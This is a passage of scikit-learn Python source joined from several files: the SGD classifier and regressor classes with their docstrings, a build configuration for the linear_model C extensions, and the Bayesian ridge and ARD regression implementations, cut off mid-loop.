        For 'huber', determines the threshold at which it becomes less
        important to get the prediction exactly right.
        For epsilon-insensitive, any differences between the current prediction
        and the correct label are ignored if they are less than this threshold.

    n_jobs : integer, optional
        The number of CPUs to use to do the OVA (One Versus All, for
        multi-class problems) computation. -1 means 'all CPUs'. Defaults
        to 1.

    learning_rate : string, optional
        The learning rate schedule:

        - 'constant': eta = eta0
        - 'optimal': eta = 1.0 / (alpha * (t + t0)) [default]
        - 'invscaling': eta = eta0 / pow(t, power_t)

        where t0 is chosen by a heuristic proposed by Leon Bottou.

    eta0 : double
        The initial learning rate for the 'constant' or 'invscaling'
        schedules. The default value is 0.0 as eta0 is not used by the
        default schedule 'optimal'.

    power_t : double
        The exponent for inverse scaling learning rate [default 0.5].

    class_weight : dict, {class_label: weight} or "balanced" or None, optional
        Preset for the class_weight fit parameter.

        Weights associated with classes. If not given, all classes
        are supposed to have weight one.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

    warm_start : bool, optional
        When set to True, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.

    average : bool or int, optional
        When set to True, computes the averaged SGD weights and stores the
        result in the ``coef_`` attribute. If set to an int greater than 1,
        averaging will begin once the total number of samples seen reaches
        average. So ``average=10`` will begin averaging after seeing 10
        samples.

    Attributes
    ----------
    coef_ : array, shape (1, n_features) if n_classes == 2 else (n_classes,\
            n_features)
        Weights assigned to the features.

    intercept_ : array, shape (1,) if n_classes == 2 else (n_classes,)
        Constants in decision function.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn import linear_model
    >>> X = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])
    >>> Y = np.array([1, 1, 2, 2])
    >>> clf = linear_model.SGDClassifier()
    >>> clf.fit(X, Y)
    ... #doctest: +NORMALIZE_WHITESPACE
    SGDClassifier(alpha=0.0001, average=False, class_weight=None, epsilon=0.1,
            eta0=0.0, fit_intercept=True, l1_ratio=0.15,
            learning_rate='optimal', loss='hinge', n_iter=5, n_jobs=1,
            penalty='l2', power_t=0.5, random_state=None, shuffle=True,
            verbose=0, warm_start=False)
    >>> print(clf.predict([[-0.8, -1]]))
    [1]

    See also
    --------
    LinearSVC, LogisticRegression, Perceptron

    """

    def __init__(self, loss="hinge", penalty='l2', alpha=0.0001, l1_ratio=0.15,
                 fit_intercept=True, n_iter=5, shuffle=True, verbose=0,
                 epsilon=DEFAULT_EPSILON, n_jobs=1, random_state=None,
                 learning_rate="optimal", eta0=0.0, power_t=0.5,
                 class_weight=None, warm_start=False, average=False):
        super(SGDClassifier, self).__init__(
            loss=loss, penalty=penalty, alpha=alpha, l1_ratio=l1_ratio,
            fit_intercept=fit_intercept, n_iter=n_iter, shuffle=shuffle,
            verbose=verbose, epsilon=epsilon, n_jobs=n_jobs,
            random_state=random_state, learning_rate=learning_rate, eta0=eta0,
            power_t=power_t, class_weight=class_weight, warm_start=warm_start,
            average=average)

    def _check_proba(self):
        check_is_fitted(self, "t_")

        if self.loss not in ("log", "modified_huber"):
            raise AttributeError("probability estimates are not available for"
                                 " loss=%r" % self.loss)

    @property
    def predict_proba(self):
        """Probability estimates.

        This method is only available for log loss and modified Huber loss.

        Multiclass probability estimates are derived from binary (one-vs.-rest)
        estimates by simple normalization, as recommended by Zadrozny and
        Elkan.

        Binary probability estimates for loss="modified_huber" are given by
        (clip(decision_function(X), -1, 1) + 1) / 2.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)

        Returns
        -------
        array, shape (n_samples, n_classes)
            Returns the probability of the sample for each class in the model,
            where classes are ordered as they are in `self.classes_`.

        References
        ----------
        Zadrozny and Elkan, "Transforming classifier scores into multiclass
        probability estimates", SIGKDD'02,
        http://www.research.ibm.com/people/z/zadrozny/kdd2002-Transf.pdf

        The justification for the formula in the loss="modified_huber"
        case is in the appendix B in:
        http://jmlr.csail.mit.edu/papers/volume2/zhang02c/zhang02c.pdf
        """
        self._check_proba()
        return self._predict_proba

    def _predict_proba(self, X):
        if self.loss == "log":
            return self._predict_proba_lr(X)

        elif self.loss == "modified_huber":
            binary = (len(self.classes_) == 2)
            scores = self.decision_function(X)

            if binary:
                prob2 = np.ones((scores.shape[0], 2))
                prob = prob2[:, 1]
            else:
                prob = scores

            np.clip(scores, -1, 1, prob)
            prob += 1.
            prob /= 2.

            if binary:
                prob2[:, 0] -= prob
                prob = prob2
            else:
                # the above might assign zero to all classes, which doesn't
                # normalize neatly; work around this to produce uniform
                # probabilities
                prob_sum = prob.sum(axis=1)
                all_zero = (prob_sum == 0)
                if np.any(all_zero):
                    prob[all_zero, :] = 1
                    prob_sum[all_zero] = len(self.classes_)

                # normalize
                prob /= prob_sum.reshape((prob.shape[0], -1))

            return prob

        else:
            raise NotImplementedError("predict_(log_)proba only supported when"
                                      " loss='log' or loss='modified_huber' "
                                      "(%r given)" % self.loss)

    @property
    def predict_log_proba(self):
        """Log of probability estimates.

        This method is only available for log loss and modified Huber loss.

        When loss="modified_huber", probability estimates may be hard zeros
        and ones, so taking the logarithm is not possible.

        See ``predict_proba`` for details.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        Returns
        -------
        T : array-like, shape (n_samples, n_classes)
            Returns the log-probability of the sample for each class in the
            model, where classes are ordered as they are in
            `self.classes_`.
        """
        self._check_proba()
        return self._predict_log_proba

    def _predict_log_proba(self, X):
        return np.log(self.predict_proba(X))


class BaseSGDRegressor(BaseSGD, RegressorMixin):

    loss_functions = {
        "squared_loss": (SquaredLoss, ),
        "huber": (Huber, DEFAULT_EPSILON),
        "epsilon_insensitive": (EpsilonInsensitive, DEFAULT_EPSILON),
        "squared_epsilon_insensitive": (SquaredEpsilonInsensitive,
                                        DEFAULT_EPSILON),
    }

    @abstractmethod
    def __init__(self, loss="squared_loss", penalty="l2", alpha=0.0001,
                 l1_ratio=0.15, fit_intercept=True, n_iter=5, shuffle=True,
                 verbose=0, epsilon=DEFAULT_EPSILON, random_state=None,
                 learning_rate="invscaling", eta0=0.01, power_t=0.25,
                 warm_start=False, average=False):
        super(BaseSGDRegressor, self).__init__(loss=loss, penalty=penalty,
                                               alpha=alpha, l1_ratio=l1_ratio,
                                               fit_intercept=fit_intercept,
                                               n_iter=n_iter, shuffle=shuffle,
                                               verbose=verbose,
                                               epsilon=epsilon,
                                               random_state=random_state,
                                               learning_rate=learning_rate,
                                               eta0=eta0, power_t=power_t,
                                               warm_start=warm_start,
                                               average=average)

    def _partial_fit(self, X, y, alpha, C, loss, learning_rate,
                     n_iter, sample_weight,
                     coef_init, intercept_init):
        X, y = check_X_y(X, y, "csr", copy=False, order='C', dtype=np.float64)
        y = astype(y, np.float64, copy=False)

        n_samples, n_features = X.shape

        self._validate_params()

        # Allocate datastructures from input arguments
        sample_weight = self._validate_sample_weight(sample_weight, n_samples)

        if self.coef_ is None:
            self._allocate_parameter_mem(1, n_features,
                                         coef_init, intercept_init)
        elif n_features != self.coef_.shape[-1]:
            raise ValueError("Number of features %d does not match previous "
                             "data %d." % (n_features, self.coef_.shape[-1]))
        if self.average > 0 and self.average_coef_ is None:
            self.average_coef_ = np.zeros(n_features,
                                          dtype=np.float64,
                                          order="C")
            self.average_intercept_ = np.zeros(1,
                                               dtype=np.float64,
                                               order="C")

        self._fit_regressor(X, y, alpha, C, loss, learning_rate,
                            sample_weight, n_iter)

        return self

    def partial_fit(self, X, y, sample_weight=None):
        """Fit linear model with Stochastic Gradient Descent.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Subset of training data

        y : numpy array of shape (n_samples,)
            Subset of target values

        sample_weight : array-like, shape (n_samples,), optional
            Weights applied to individual samples.
            If not provided, uniform weights are assumed.

        Returns
        -------
        self : returns an instance of self.
        """
        return self._partial_fit(X, y, self.alpha, C=1.0,
                                 loss=self.loss,
                                 learning_rate=self.learning_rate, n_iter=1,
                                 sample_weight=sample_weight,
                                 coef_init=None, intercept_init=None)

    def _fit(self, X, y, alpha, C, loss, learning_rate, coef_init=None,
             intercept_init=None, sample_weight=None):
        if self.warm_start and self.coef_ is not None:
            if coef_init is None:
                coef_init = self.coef_
            if intercept_init is None:
                intercept_init = self.intercept_
        else:
            self.coef_ = None
            self.intercept_ = None

        if self.average > 0:
            self.standard_intercept_ = self.intercept_
            self.standard_coef_ = self.coef_
            self.average_coef_ = None
            self.average_intercept_ = None

        # Clear iteration count for multiple call to fit.
        self.t_ = None

        return self._partial_fit(X, y, alpha, C, loss, learning_rate,
                                 self.n_iter, sample_weight,
                                 coef_init, intercept_init)

    def fit(self, X, y, coef_init=None, intercept_init=None,
            sample_weight=None):
        """Fit linear model with Stochastic Gradient Descent.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Training data

        y : numpy array, shape (n_samples,)
            Target values

        coef_init : array, shape (n_features,)
            The initial coefficients to warm-start the optimization.

        intercept_init : array, shape (1,)
            The initial intercept to warm-start the optimization.

        sample_weight : array-like, shape (n_samples,), optional
            Weights applied to individual samples (1. for unweighted).

        Returns
        -------
        self : returns an instance of self.
        """
        return self._fit(X, y, alpha=self.alpha, C=1.0,
                         loss=self.loss, learning_rate=self.learning_rate,
                         coef_init=coef_init,
                         intercept_init=intercept_init,
                         sample_weight=sample_weight)

    @deprecated(" and will be removed in 0.19.")
    def decision_function(self, X):
        """Predict using the linear model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)

        Returns
        -------
        array, shape (n_samples,)
           Predicted target values per element in X.
        """
        return self._decision_function(X)

    def _decision_function(self, X):
        """Predict using the linear model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)

        Returns
        -------
        array, shape (n_samples,)
           Predicted target values per element in X.
        """
        check_is_fitted(self, ["t_", "coef_", "intercept_"], all_or_any=all)

        X = check_array(X, accept_sparse='csr')

        scores = safe_sparse_dot(X, self.coef_.T,
                                 dense_output=True) + self.intercept_
        return scores.ravel()

    def predict(self, X):
        """Predict using the linear model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)

        Returns
        -------
        array, shape (n_samples,)
           Predicted target values per element in X.
        """
        return self._decision_function(X)

    def _fit_regressor(self, X, y, alpha, C, loss, learning_rate,
                       sample_weight, n_iter):
        dataset, intercept_decay = make_dataset(X, y, sample_weight)

        loss_function = self._get_loss_function(loss)
        penalty_type = self._get_penalty_type(self.penalty)
        learning_rate_type = self._get_learning_rate_type(learning_rate)

        if self.t_ is None:
            self.t_ = 1.0

        random_state = check_random_state(self.random_state)
        # numpy mtrand expects a C long which is a signed 32 bit integer under
        # Windows
        seed = random_state.randint(0, np.iinfo(np.int32).max)

        if self.average > 0:
            self.standard_coef_, self.standard_intercept_, \
                self.average_coef_, self.average_intercept_ =\
                average_sgd(self.standard_coef_,
                            self.standard_intercept_[0],
                            self.average_coef_,
                            self.average_intercept_[0],
                            loss_function,
                            penalty_type,
                            alpha, C,
                            self.l1_ratio,
                            dataset,
                            n_iter,
                            int(self.fit_intercept),
                            int(self.verbose),
                            int(self.shuffle),
                            seed,
                            1.0, 1.0,
                            learning_rate_type,
                            self.eta0, self.power_t, self.t_,
                            intercept_decay, self.average)

            self.average_intercept_ = np.atleast_1d(self.average_intercept_)
            self.standard_intercept_ = np.atleast_1d(self.standard_intercept_)
            self.t_ += n_iter * X.shape[0]

            if self.average <= self.t_ - 1.0:
                self.coef_ = self.average_coef_
                self.intercept_ = self.average_intercept_
            else:
                self.coef_ = self.standard_coef_
                self.intercept_ = self.standard_intercept_

        else:
            self.coef_, self.intercept_ = \
                plain_sgd(self.coef_,
                          self.intercept_[0],
                          loss_function,
                          penalty_type,
                          alpha, C,
                          self.l1_ratio,
                          dataset,
                          n_iter,
                          int(self.fit_intercept),
                          int(self.verbose),
                          int(self.shuffle),
                          seed,
                          1.0, 1.0,
                          learning_rate_type,
                          self.eta0, self.power_t, self.t_,
                          intercept_decay)

            self.t_ += n_iter * X.shape[0]
            self.intercept_ = np.atleast_1d(self.intercept_)


class SGDRegressor(BaseSGDRegressor, _LearntSelectorMixin):
    """Linear model fitted by minimizing a regularized empirical loss with SGD

    SGD stands for Stochastic Gradient Descent: the gradient of the loss is
    estimated each sample at a time and the model is updated along the way with
    a decreasing strength schedule (aka learning rate).

    The regularizer is a penalty added to the loss function that shrinks model
    parameters towards the zero vector using either the squared euclidean norm
    L2 or the absolute norm L1 or a combination of both (Elastic Net). If the
    parameter update crosses the 0.0 value because of the regularizer, the
    update is truncated to 0.0 to allow for learning sparse models and achieve
    online feature selection.

    This implementation works with data represented as dense numpy arrays of
    floating point values for the features.

    Read more in the :ref:`User Guide <sgd>`.

    Parameters
    ----------
    loss : str, 'squared_loss', 'huber', 'epsilon_insensitive', \
                or 'squared_epsilon_insensitive'
        The loss function to be used. Defaults to 'squared_loss' which refers
        to the ordinary least squares fit. 'huber' modifies 'squared_loss' to
        focus less on getting outliers correct by switching from squared to
        linear loss past a distance of epsilon. 'epsilon_insensitive' ignores
        errors less than epsilon and is linear past that; this is the loss
        function used in SVR. 'squared_epsilon_insensitive' is the same but
        becomes squared loss past a tolerance of epsilon.

    penalty : str, 'none', 'l2', 'l1', or 'elasticnet'
        The penalty (aka regularization term) to be used. Defaults to 'l2'
        which is the standard regularizer for linear SVM models. 'l1' and
        'elasticnet' might bring sparsity to the model (feature selection)
        not achievable with 'l2'.

    alpha : float
        Constant that multiplies the regularization term. Defaults to 0.0001
        Also used to compute learning_rate when set to 'optimal'.

    l1_ratio : float
        The Elastic Net mixing parameter, with 0 <= l1_ratio <= 1.
        l1_ratio=0 corresponds to L2 penalty, l1_ratio=1 to L1.
        Defaults to 0.15.

    fit_intercept : bool
        Whether the intercept should be estimated or not. If False, the
        data is assumed to be already centered. Defaults to True.

    n_iter : int, optional
        The number of passes over the training data (aka epochs). The number
        of iterations is set to 1 if using partial_fit.
        Defaults to 5.

    shuffle : bool, optional
        Whether or not the training data should be shuffled after each epoch.
        Defaults to True.

    random_state : int seed, RandomState instance, or None (default)
        The seed of the pseudo random number generator to use when
        shuffling the data.

    verbose : integer, optional
        The verbosity level.

    epsilon : float
        Epsilon in the epsilon-insensitive loss functions; only if `loss` is
        'huber', 'epsilon_insensitive', or 'squared_epsilon_insensitive'.
        For 'huber', determines the threshold at which it becomes less
        important to get the prediction exactly right.
        For epsilon-insensitive, any differences between the current prediction
        and the correct label are ignored if they are less than this threshold.

    learning_rate : string, optional
        The learning rate schedule:

        - 'constant': eta = eta0
        - 'optimal': eta = 1.0 / (alpha * (t + t0)) [default]
        - 'invscaling': eta = eta0 / pow(t, power_t)

        where t0 is chosen by a heuristic proposed by Leon Bottou.

    eta0 : double, optional
        The initial learning rate [default 0.01].

    power_t : double, optional
        The exponent for inverse scaling learning rate [default 0.25].

    warm_start : bool, optional
        When set to True, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.

    average : bool or int, optional
        When set to True, computes the averaged SGD weights and stores the
        result in the ``coef_`` attribute. If set to an int greater than 1,
        averaging will begin once the total number of samples seen reaches
        average. So ``average=10`` will begin averaging after seeing 10
        samples.

    Attributes
    ----------
    coef_ : array, shape (n_features,)
        Weights assigned to the features.

    intercept_ : array, shape (1,)
        The intercept term.

    average_coef_ : array, shape (n_features,)
        Averaged weights assigned to the features.

    average_intercept_ : array, shape (1,)
        The averaged intercept term.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn import linear_model
    >>> n_samples, n_features = 10, 5
    >>> np.random.seed(0)
    >>> y = np.random.randn(n_samples)
    >>> X = np.random.randn(n_samples, n_features)
    >>> clf = linear_model.SGDRegressor()
    >>> clf.fit(X, y)
    ... #doctest: +NORMALIZE_WHITESPACE
    SGDRegressor(alpha=0.0001, average=False, epsilon=0.1, eta0=0.01,
                 fit_intercept=True, l1_ratio=0.15, learning_rate='invscaling',
                 loss='squared_loss', n_iter=5, penalty='l2', power_t=0.25,
                 random_state=None, shuffle=True, verbose=0, warm_start=False)

    See also
    --------
    Ridge, ElasticNet, Lasso, SVR

    """
    def __init__(self, loss="squared_loss", penalty="l2", alpha=0.0001,
                 l1_ratio=0.15, fit_intercept=True, n_iter=5, shuffle=True,
                 verbose=0, epsilon=DEFAULT_EPSILON, random_state=None,
                 learning_rate="invscaling", eta0=0.01, power_t=0.25,
                 warm_start=False, average=False):
        super(SGDRegressor, self).__init__(loss=loss, penalty=penalty,
                                           alpha=alpha, l1_ratio=l1_ratio,
                                           fit_intercept=fit_intercept,
                                           n_iter=n_iter, shuffle=shuffle,
                                           verbose=verbose,
                                           epsilon=epsilon,
                                           random_state=random_state,
                                           learning_rate=learning_rate,
                                           eta0=eta0, power_t=power_t,
                                           warm_start=warm_start,
                                           average=average)






import os
from os.path import join

import numpy

from sklearn._build_utils import get_blas_info


def configuration(parent_package='', top_path=None):
    from numpy.distutils.misc_util import Configuration

    config = Configuration('linear_model', parent_package, top_path)

    cblas_libs, blas_info = get_blas_info()

    if os.name == 'posix':
        cblas_libs.append('m')

    config.add_extension('cd_fast', sources=['cd_fast.c'],
                         libraries=cblas_libs,
                         include_dirs=[join('..', 'src', 'cblas'),
                                       numpy.get_include(),
                                       blas_info.pop('include_dirs', [])],
                         extra_compile_args=blas_info.pop('extra_compile_args',
                                                          []), **blas_info)

    config.add_extension('sgd_fast',
                         sources=['sgd_fast.c'],
                         include_dirs=[join('..', 'src', 'cblas'),
                                       numpy.get_include(),
                                       blas_info.pop('include_dirs', [])],
                         libraries=cblas_libs,
                         extra_compile_args=blas_info.pop('extra_compile_args',
                                                          []),
                         **blas_info)

    config.add_extension('sag_fast',
                         sources=['sag_fast.c'],
                         include_dirs=numpy.get_include())

    # add other directories
    config.add_subpackage('tests')

    return config

if __name__ == '__main__':
    from numpy.distutils.core import setup
    setup(**configuration(top_path='').todict())






"""
Various bayesian regression
"""
from __future__ import print_function

# Authors: V. Michel, F. Pedregosa, A. Gramfort
# License: BSD 3 clause

from math import log
import numpy as np
from scipy import linalg

from .base import LinearModel
from ..base import RegressorMixin
from ..utils.extmath import fast_logdet, pinvh
from ..utils import check_X_y


###############################################################################
# BayesianRidge regression

class BayesianRidge(LinearModel, RegressorMixin):
    """Bayesian ridge regression

    Fit a Bayesian ridge model and optimize the regularization parameters
    lambda (precision of the weights) and alpha (precision of the noise).

    Read more in the :ref:`User Guide <bayesian_regression>`.

    Parameters
    ----------
    n_iter : int, optional
        Maximum number of iterations.  Default is 300.

    tol : float, optional
        Stop the algorithm if w has converged. Default is 1.e-3.

    alpha_1 : float, optional
        Hyper-parameter : shape parameter for the Gamma distribution prior
        over the alpha parameter. Default is 1.e-6

    alpha_2 : float, optional
        Hyper-parameter : inverse scale parameter (rate parameter) for the
        Gamma distribution prior over the alpha parameter.
        Default is 1.e-6.

    lambda_1 : float, optional
        Hyper-parameter : shape parameter for the Gamma distribution prior
        over the lambda parameter. Default is 1.e-6.

    lambda_2 : float, optional
        Hyper-parameter : inverse scale parameter (rate parameter) for the
        Gamma distribution prior over the lambda parameter.
        Default is 1.e-6

    compute_score : boolean, optional
        If True, compute the objective function at each step of the model.
        Default is False

    fit_intercept : boolean, optional
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).
        Default is True.

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    copy_X : boolean, optional, default True
        If True, X will be copied; else, it may be overwritten.

    verbose : boolean, optional, default False
        Verbose mode when fitting the model.


    Attributes
    ----------
    coef_ : array, shape = (n_features)
        Coefficients of the regression model (mean of distribution)

    alpha_ : float
       estimated precision of the noise.

    lambda_ : float
       estimated precision of the weights.

    scores_ : float
        if computed, value of the objective function (to be maximized)

    Examples
    --------
    >>> from sklearn import linear_model
    >>> clf = linear_model.BayesianRidge()
    >>> clf.fit([[0,0], [1, 1], [2, 2]], [0, 1, 2])
    ... # doctest: +NORMALIZE_WHITESPACE
    BayesianRidge(alpha_1=1e-06, alpha_2=1e-06, compute_score=False,
            copy_X=True, fit_intercept=True, lambda_1=1e-06, lambda_2=1e-06,
            n_iter=300, normalize=False, tol=0.001, verbose=False)
    >>> clf.predict([[1, 1]])
    array([ 1.])

    Notes
    -----
    See examples/linear_model/plot_bayesian_ridge.py for an example.
    """

    def __init__(self, n_iter=300, tol=1.e-3, alpha_1=1.e-6, alpha_2=1.e-6,
                 lambda_1=1.e-6, lambda_2=1.e-6, compute_score=False,
                 fit_intercept=True, normalize=False, copy_X=True,
                 verbose=False):
        self.n_iter = n_iter
        self.tol = tol
        self.alpha_1 = alpha_1
        self.alpha_2 = alpha_2
        self.lambda_1 = lambda_1
        self.lambda_2 = lambda_2
        self.compute_score = compute_score
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.copy_X = copy_X
        self.verbose = verbose

    def fit(self, X, y):
        """Fit the model

        Parameters
        ----------
        X : numpy array of shape [n_samples,n_features]
            Training data
        y : numpy array of shape [n_samples]
            Target values

        Returns
        -------
        self : returns an instance of self.
        """
        X, y = check_X_y(X, y, dtype=np.float64, y_numeric=True)
        X, y, X_offset, y_offset, X_scale = self._preprocess_data(
            X, y, self.fit_intercept, self.normalize, self.copy_X)
        n_samples, n_features = X.shape

        # Initialization of the values of the parameters
        alpha_ = 1. / np.var(y)
        lambda_ = 1.

        verbose = self.verbose
        lambda_1 = self.lambda_1
        lambda_2 = self.lambda_2
        alpha_1 = self.alpha_1
        alpha_2 = self.alpha_2

        self.scores_ = list()
        coef_old_ = None

        XT_y = np.dot(X.T, y)
        U, S, Vh = linalg.svd(X, full_matrices=False)
        eigen_vals_ = S ** 2

        # Convergence loop of the bayesian ridge regression
        for iter_ in range(self.n_iter):

            # Compute mu and sigma
            # sigma_ = lambda_ / alpha_ * np.eye(n_features) + np.dot(X.T, X)
            # coef_ = sigma_^-1 * XT * y
            if n_samples > n_features:
                coef_ = np.dot(Vh.T,
                               Vh / (eigen_vals_ + lambda_ / alpha_)[:, None])
                coef_ = np.dot(coef_, XT_y)
                if self.compute_score:
                    logdet_sigma_ = - np.sum(
                        np.log(lambda_ + alpha_ * eigen_vals_))
            else:
                coef_ = np.dot(X.T, np.dot(
                    U / (eigen_vals_ + lambda_ / alpha_)[None, :], U.T))
                coef_ = np.dot(coef_, y)
                if self.compute_score:
                    logdet_sigma_ = lambda_ * np.ones(n_features)
                    logdet_sigma_[:n_samples] += alpha_ * eigen_vals_
                    logdet_sigma_ = - np.sum(np.log(logdet_sigma_))

            # Update alpha and lambda
            rmse_ = np.sum((y - np.dot(X, coef_)) ** 2)
            gamma_ = (np.sum((alpha_ * eigen_vals_) /
                      (lambda_ + alpha_ * eigen_vals_)))
            lambda_ = ((gamma_ + 2 * lambda_1) /
                       (np.sum(coef_ ** 2) + 2 * lambda_2))
            alpha_ = ((n_samples - gamma_ + 2 * alpha_1) /
                      (rmse_ + 2 * alpha_2))

            # Compute the objective function
            if self.compute_score:
                s = lambda_1 * log(lambda_) - lambda_2 * lambda_
                s += alpha_1 * log(alpha_) - alpha_2 * alpha_
                s += 0.5 * (n_features * log(lambda_) +
                            n_samples * log(alpha_) -
                            alpha_ * rmse_ -
                            (lambda_ * np.sum(coef_ ** 2)) -
                            logdet_sigma_ -
                            n_samples * log(2 * np.pi))
                self.scores_.append(s)

            # Check for convergence
            if iter_ != 0 and np.sum(np.abs(coef_old_ - coef_)) < self.tol:
                if verbose:
                    print("Convergence after ", str(iter_), " iterations")
                break
            coef_old_ = np.copy(coef_)

        self.alpha_ = alpha_
        self.lambda_ = lambda_
        self.coef_ = coef_

        self._set_intercept(X_offset, y_offset, X_scale)
        return self


###############################################################################
# ARD (Automatic Relevance Determination) regression


class ARDRegression(LinearModel, RegressorMixin):
    """Bayesian ARD regression.

    Fit the weights of a regression model, using an ARD prior. The weights of
    the regression model are assumed to be in Gaussian distributions.
    Also estimate the parameters lambda (precisions of the distributions of the
    weights) and alpha (precision of the distribution of the noise).
    The estimation is done by an iterative procedures (Evidence Maximization)

    Read more in the :ref:`User Guide <bayesian_regression>`.

    Parameters
    ----------
    n_iter : int, optional
        Maximum number of iterations. Default is 300

    tol : float, optional
        Stop the algorithm if w has converged. Default is 1.e-3.

    alpha_1 : float, optional
        Hyper-parameter : shape parameter for the Gamma distribution prior
        over the alpha parameter. Default is 1.e-6.

    alpha_2 : float, optional
        Hyper-parameter : inverse scale parameter (rate parameter) for the
        Gamma distribution prior over the alpha parameter. Default is 1.e-6.

    lambda_1 : float, optional
        Hyper-parameter : shape parameter for the Gamma distribution prior
        over the lambda parameter. Default is 1.e-6.

    lambda_2 : float, optional
        Hyper-parameter : inverse scale parameter (rate parameter) for the
        Gamma distribution prior over the lambda parameter. Default is 1.e-6.

    compute_score : boolean, optional
        If True, compute the objective function at each step of the model.
        Default is False.

    threshold_lambda : float, optional
        threshold for removing (pruning) weights with high precision from
        the computation. Default is 1.e+4.

    fit_intercept : boolean, optional
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).
        Default is True.

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    copy_X : boolean, optional, default True.
        If True, X will be copied; else, it may be overwritten.

    verbose : boolean, optional, default False
        Verbose mode when fitting the model.

    Attributes
    ----------
    coef_ : array, shape = (n_features)
        Coefficients of the regression model (mean of distribution)

    alpha_ : float
       estimated precision of the noise.

    lambda_ : array, shape = (n_features)
       estimated precisions of the weights.

    sigma_ : array, shape = (n_features, n_features)
        estimated variance-covariance matrix of the weights

    scores_ : float
        if computed, value of the objective function (to be maximized)

    Examples
    --------
    >>> from sklearn import linear_model
    >>> clf = linear_model.ARDRegression()
    >>> clf.fit([[0,0], [1, 1], [2, 2]], [0, 1, 2])
    ... # doctest: +NORMALIZE_WHITESPACE
    ARDRegression(alpha_1=1e-06, alpha_2=1e-06, compute_score=False,
            copy_X=True, fit_intercept=True, lambda_1=1e-06, lambda_2=1e-06,
            n_iter=300, normalize=False, threshold_lambda=10000.0, tol=0.001,
            verbose=False)
    >>> clf.predict([[1, 1]])
    array([ 1.])

    Notes
    --------
    See examples/linear_model/plot_ard.py for an example.
    """

    def __init__(self, n_iter=300, tol=1.e-3, alpha_1=1.e-6, alpha_2=1.e-6,
                 lambda_1=1.e-6, lambda_2=1.e-6, compute_score=False,
                 threshold_lambda=1.e+4, fit_intercept=True, normalize=False,
                 copy_X=True, verbose=False):
        self.n_iter = n_iter
        self.tol = tol
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.alpha_1 = alpha_1
        self.alpha_2 = alpha_2
        self.lambda_1 = lambda_1
        self.lambda_2 = lambda_2
        self.compute_score = compute_score
        self.threshold_lambda = threshold_lambda
        self.copy_X = copy_X
        self.verbose = verbose

    def fit(self, X, y):
        """Fit the ARDRegression model according to the given training data
        and parameters.

        Iterative procedure to maximize the evidence

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training vector, where n_samples in the number of samples and
            n_features is the number of features.
        y : array, shape = [n_samples]
            Target values (integers)

        Returns
        -------
        self : returns an instance of self.
        """
        X, y = check_X_y(X, y, dtype=np.float64, y_numeric=True)

        n_samples, n_features = X.shape
        coef_ = np.zeros(n_features)

        X, y, X_offset, y_offset, X_scale = self._preprocess_data(
            X, y, self.fit_intercept, self.normalize, self.copy_X)

        # Launch the convergence loop
        keep_lambda = np.ones(n_features, dtype=bool)

        lambda_1 = self.lambda_1
        lambda_2 = self.lambda_2
        alpha_1 = self.alpha_1
        alpha_2 = self.alpha_2
        verbose = self.verbose

        # Initialization of the values of the parameters
        alpha_ = 1. / np.var(y)
        lambda_ = np.ones(n_features)

        self.scores_ = list()
        coef_old_ = None

        # Iterative procedure of ARDRegression
        for iter_ in range(self.n_iter):
            # Compute mu and sigma (using Woodbury matrix identity)
            sigma_ = pinvh(np.eye(n_samples) / alpha_ +
                           np.dot(X[:, keep_lambda] *
                           np.reshape(1. / lambda_[keep_lambda], [1, -1]),
                           X[:, keep_lambda].T))
            sigma_ = np.dot(sigma_, X[:, keep_lambda] *
                            np.reshape(1. / lambda_[keep_lambda], [1, -1]))
            sigma_ = - np.dot(np.reshape(1. / lambda_[keep_lambda], [-1, 1]) *
                              X[:, keep_lambda].T, sigma_)
            sigma_.flat[::(sigma_.shape[1] + 1)] += 1. / lambda_[keep_lambda]
            coef_[keep_lambda] = alpha_ * np.dot(
                sigma_, np.dot(X[:, keep_lambda].T, y))

            # Update alpha and lambda
            rmse_ = np.sum((y - np.dot(X, coef_)) ** 2)
            gamma_ = 1. - lambda_[keep_lambda] * np.diag(sigma_)
            lambda_[keep_lambda] = ((gamma_ + 2. * lambda_1) /
                                    ((coef_[keep_lambda]) ** 2 +
                                     2. * lambda_2))
            alpha_ = ((n_samples - gamma_.sum() + 2. * alpha_1) /
                      (rmse_ + 2. * alpha_2))

            # Prune the weights with a precision over a threshold
            keep_lambda = lambda_ < self.threshold_lambda
            coef_[~keep_lambda] = 0

            # Compute the objective function
            if self.compute_score:
                s = (lambda_1 * np.log(lambda_) - lambda_2 * lambda_).sum()
                s += alpha_1 * log(alpha_) - alpha_2 * alpha_
